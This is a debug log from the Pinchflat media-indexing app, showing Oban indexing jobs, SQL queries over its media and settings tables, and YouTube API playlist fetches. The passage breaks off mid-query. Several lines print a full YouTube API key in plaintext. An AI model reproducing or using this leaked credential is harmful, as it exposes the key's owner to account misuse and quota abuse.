{"args":{"id":16},"id":5268352,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":119891,"event":"job:stop","queue_time":472429,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:44.393 [debug] QUERY OK source="media_items" db=0.5ms idle=154.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "9C4kJmNsd4g", "B09GJ5ynuKg", "yw3o8PSoWqs", "A5hZXRAZwiY", "tnszTTzGvmU", "hly-3fiHARI", "fd0k8u9XvQk", "Pc1JzImPw_M", "WUlLIo9LI-w", "vN44jvYD0aY", "AaqCYyrugzo", "6q-2bxQnaYA", "EnWmuc-J8i8", "GXkwWjAzQYI", "ls4jmJL8TeI", "79X9SL172oo", "ZPRKLg5ZR-8", "rHCpgtc5nzs", "5xO1jF1cVe8", "eZ5VpPJjddA", "jUT3rUZGqLA", "Ld0Bbf_Dpg0", "0pXrDVfe8A4", "i8BnXGr4mp0", "oQcw9ZZ_PxQ", "HZOYCMkic0E", "wCkFcD-2fI8", "ndmKkH2UU-Y", "hz1LmOcleGc", "lIOTxSlkuBc", "OO_JawE3fLs", "ojlTFAccjlQ", "F_A9UqXvLnE", "X_ERoyn1BUg", "25185B-tWCI", "zhL2FIiW2Ts", "QtrKAvLCJ2g", "Rm9rTYB7CdQ", "_Y-D4gYIVe4", "Pb-FPK2NGpw", "R11qUdPD3dw", "WbLI7U2hLyA", "pM1qgJMBqMw", "DRUDiwHRC60", "M16lt1D0OaI", "oJZecXmgXpA", "BqQ86_MIvp8", "PR5mykiFzN4", "FwyYsf9AGKw", ...] 17:05:44.397 [debug] QUERY OK source="media_items" db=2.9ms idle=155.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 17:05:44.398 [debug] QUERY OK source="tasks" db=0.0ms idle=152.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268393, 5, ~U[2026-10-09 22:05:44Z], ~U[2026-10-09 22:05:44Z]] 17:05:44.398 [info] {"args":{"id":5},"id":5268353,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":278965,"event":"job:stop","queue_time":284011,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:45.120 [info] {"args":{"id":28},"id":5268354,"meta":{},"system_time":1791583545120209309,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:45.120 [debug] QUERY OK source="sources" db=0.2ms idle=722.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 17:05:45.120 [debug] QUERY OK source="settings" db=0.1ms idle=722.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:45.121 [debug] QUERY OK source="media_profiles" db=0.0ms idle=716.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:45.121 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:45.121 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 17:05:45.121 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:45.121 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:45.229 [debug] QUERY OK source="media_items" db=0.8ms idle=108.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "KrmXrao8zdE", "3fDGcZ8qpPM", "AyGMx6lWgZU", "QeQ0ReNvrxQ", "dWHCef7F8gY", "VsoNt5rhgkY", "jsLE4FncoLc", "FNBkN4YC8uo", "6pR7KWclRgE", "sX4qKGuAwr0", "sN7e38Q7e1U", "Ms5-iH2zH6Q", "NG-lLt5X3Rs", "8A42tiQ04CE", "i1AXDYQ6eUU", "Y8wBie-Oamc", "JPm4de6-eTg", "2El50dt7rVk", "_TxeaboC-xk", "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", ...] 17:05:45.230 [debug] QUERY OK source="media_items" db=0.3ms idle=109.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 17:05:45.231 [debug] QUERY OK source="tasks" db=0.1ms idle=110.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268394, 28, ~U[2026-10-09 22:05:45Z], ~U[2026-10-09 22:05:45Z]] 17:05:45.231 [info] {"args":{"id":28},"id":5268354,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":111435,"event":"job:stop","queue_time":443217,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:45.543 [info] {"source":"oban","duration":9944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:46.121 [info] {"args":{"id":20},"id":5268355,"meta":{},"system_time":1791583546121265381,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:46.121 [info] {"args":{"id":43},"id":5268356,"meta":{},"system_time":1791583546121311647,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:46.121 [debug] QUERY OK source="sources" db=0.1ms idle=889.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 17:05:46.121 [debug] QUERY OK source="sources" db=0.1ms idle=883.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 17:05:46.122 [debug] QUERY OK source="settings" db=0.9ms idle=577.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:46.122 [debug] QUERY OK source="settings" db=0.9ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:46.122 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:46.123 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:46.123 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:46.123 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 17:05:46.123 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:46.123 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 17:05:46.123 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:46.123 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:46.123 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:46.123 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:46.276 [debug] QUERY OK source="media_items" db=0.6ms idle=152.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "YcXxJviqQfE", "g6VmtRtHMeA", "zCj1ZKCgdoI", "YBTfuph1cdE", "ryRdagoZR88", "zD0WRwU4AqE", "GB6lntnVi4A", "QQ97R1nhq4M", "5C60QMnLtX8", "-l28H03fnKk", "FefIWhfl5Lg", "d0t7wpkFc6U", "clsbuM6uf1A", "6Reu1WS3BhM", "bYw5GAzP2Ds", "KY_4oUIG_z8", "4-eB-n5NYRs", "9s69aThM7rA", "Gs5r8iGPjSg", "We-lvUeRGb0", "8JhH6UO_pRY", "fOwC95ZXh08", "i4eCZ6dLVrg", "h_NEOIwrG-E", "1q-hpaepgk0", "cAmEAgNc0eY", "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", ...] 17:05:46.277 [debug] QUERY OK source="media_items" db=0.4ms idle=153.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 17:05:46.277 [debug] QUERY OK source="tasks" db=0.1ms idle=154.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268395, 20, ~U[2026-10-09 22:05:46Z], ~U[2026-10-09 22:05:46Z]] 17:05:46.278 [info] {"args":{"id":20},"id":5268355,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":156748,"event":"job:stop","queue_time":478696,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:46.488 [debug] QUERY OK source="media_items" db=0.6ms idle=210.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "31b669NGSbU", "xBJ3EvFzHRk", "UTigBRy4EWA", "u_lWztXd9jw", "uzr_gkc81SQ", "CSksN3XLepQ", "Lhx1j6FShA8", "lPPCjg79EyI", "M3GPI3jShKQ", "QhEWeDT_9gI", "om8wrIN7I5g", "pW4N8ppO5sU", "T42aB4OghFc", "ozik7Ba4gkU", "9lbfqrKKOyA", "86OoMc0NWfM", "KiVx5j9C9Mc", "76C3VtR2NYQ", "eEEPdEY0zic", "pxfnSX8C3aQ", "hkJUk6Lak_I", "X5mw5v9tius", "QUGHPuUU5FA", "CNomQhGnaMU", "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", ...] 17:05:46.489 [debug] QUERY OK source="media_items" db=0.4ms idle=211.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 17:05:46.490 [debug] QUERY OK source="tasks" db=0.1ms idle=206.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268396, 43, ~U[2026-10-09 22:05:46Z], ~U[2026-10-09 22:05:46Z]] 17:05:46.490 [info] {"args":{"id":43},"id":5268356,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":369362,"event":"job:stop","queue_time":244629,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:47.123 [info] {"args":{"id":23},"id":5268357,"meta":{},"system_time":1791583547123150290,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:47.123 [debug] QUERY OK source="sources" db=0.1ms idle=632.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 17:05:47.123 [debug] QUERY OK source="settings" db=0.1ms idle=632.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:47.123 [debug] QUERY OK source="media_profiles" db=0.1ms idle=626.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:47.124 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:47.124 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 17:05:47.124 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT 